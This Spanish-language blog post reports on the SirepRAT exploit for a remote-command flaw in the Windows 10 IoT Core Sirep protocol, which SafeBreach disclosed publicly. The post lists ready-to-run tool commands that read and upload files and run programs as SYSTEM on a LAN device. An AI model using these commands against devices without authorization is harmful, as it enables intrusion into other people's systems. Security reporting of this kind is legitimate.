Windows 10 IoT Core es el sucesor de Windows Embedded y actualmente 2 de cada 10 dispositivos IoT utilizan el sistema operativo de M$ (Linux prácticamente copa el mercado).
Recientemente, en la conferencia de seguridad WOPR Summit de Nueva Jersey, la investigadora Dor Azouri de SafeBreach ha publicado un exploit que aprovecha una vulnerabilidad del protocolo de comunicaciones Sirep/WPCon/TShell y que puede permitir a un atacante ejecutar comandos con privilegios de SYSTEM.
Básicamente, lo que hicieron fue romper el protocolo y demostrar cómo expone una interfaz de comando remoto para los atacantes, que incluye capacidades RAT como descargar o subir archivos arbitrarios y obtener información del sistema.
Eso sí, para comprometer al dispositivo IoT es necesario estar en la misma LAN que el dispositivo y la vulnerabilidad sólo afecta a la versión Core asÌ que Windows IoT Enterprise parece estar a salvo (de momento).
Sobre la base de la investigación sobre el servicio y el protocolo, crearon además una herramienta escrita en Python llamada SirepRAT que ya podemos encontrar en Github:
https://github.com/SafeBreach-Labs/SirepRATexploit window
Descargar archivo
python SirepRAT.py 192.168.3.17 GetFileFromDevice –remote_path «C:\Windows\System32\drivers\etc\hosts» -v
Subir archivo
python SirepRAT.py 192.168.3.17 PutFileOnDevice –remote_path «C:\Windows\System32\uploaded.txt» –data «Hello IoT world!»
Ejecutar cualquier programa
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput –return_output –cmd «C:\Windows\System32\hostname.exe»
Con argumentos, impersonando al usuario actualmente conectado:
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput –return_output –as_logged_on_user –cmd «C:\Windows\System32\cmd.exe» –args » /c echo {{userprofile}}»
(Intenta ejecutarlo sin el flag as_logged_on_user para demostrar la capacidad de ejecución con SYSTEM)
Conseguir información del sistema
python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice
Obtener información de un fichero
python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice –remote_path «C:\Windows\System32\ntoskrnl.exe»
Ver ayuda:
python SirepRAT.py –help
Fuentes:
https://www.woprsummit.org/talks
https://www.muyseguridad.net/2019/03/04/vulnerabilidad-en-windows-iot-core/
https://www.zdnet.com/article/new-exploit-lets-attackers-take-control-of-windows-iot-core-devices/